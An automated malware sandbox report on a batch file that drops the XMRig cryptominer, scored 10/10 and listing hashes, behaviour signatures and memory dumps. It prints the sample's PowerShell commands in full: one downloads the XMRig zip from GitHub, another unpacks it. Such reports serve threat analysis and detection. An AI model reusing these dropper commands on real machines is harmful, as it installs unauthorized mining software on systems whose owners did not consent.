04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
22/12/2023, 05:54

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General

Target

tesy - Copy (2).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2928	powershell.exe
6	2928	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2928	powershell.exe
2292	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2928	powershell.exe
Token: SeDebugPrivilege	2292	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2536 wrote to memory of 2928	2536	cmd.exe	16
PID 2536 wrote to memory of 2928	2536	cmd.exe	16
PID 2536 wrote to memory of 2928	2536	cmd.exe	16
PID 2536 wrote to memory of 2292	2536	cmd.exe	30
PID 2536 wrote to memory of 2292	2536	cmd.exe	30
PID 2536 wrote to memory of 2292	2536	cmd.exe	30

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2928

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2292

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X1YJE485XB4ONR2TVNDF.temp

Filesize
7KB

MD5
ff7f45358335f6b8088ce7e4073c1324

SHA1
3dd993b5c5503ea9296c94736c64ea20c358168d

SHA256
fde449259418aa3b17e6ac778786417a1db4be81fed4b8d1e2c42afa7fafcc28

SHA512
27239942e62009b1c1ccddc73c32c70d8d4065286e3372e0e815da3c1d71b12d716c63b37d380a3226744f0f98cc295380cc73ac6b0c10b2f05157098b12d632

Download Submit
memory/2292-26-0x00000000027E0000-0x0000000002860000-memory.dmp

Filesize
512KB

Download
memory/2292-23-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

Filesize
9.6MB

Download
memory/2292-27-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

Filesize
9.6MB

Download
memory/2292-22-0x00000000027E0000-0x0000000002860000-memory.dmp

Filesize
512KB

Download
memory/2292-24-0x00000000027E0000-0x0000000002860000-memory.dmp

Filesize
512KB

Download
memory/2292-25-0x00000000027E0000-0x0000000002860000-memory.dmp

Filesize
512KB

Download
memory/2292-20-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2292-21-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

Filesize
9.6MB

Download
memory/2292-19-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2928-11-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/2928-9-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/2928-13-0x000007FEF5A00000-0x000007FEF639D000-memory.dmp

Filesize
9.6MB

Download
memory/2928-5-0x00000000027F0000-0x00000000027F8000-memory.dmp

Filesize
32KB

Download
memory/2928-12-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/2928-4-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2928-8-0x000007FEF5A00000-0x000007FEF639D000-memory.dmp

Filesize
9.6MB

Download
memory/2928-7-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/2928-6-0x000007FEF5A00000-0x000007FEF639D000-memory.dmp

Filesize
9.6MB

Download
memory/2928-10-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download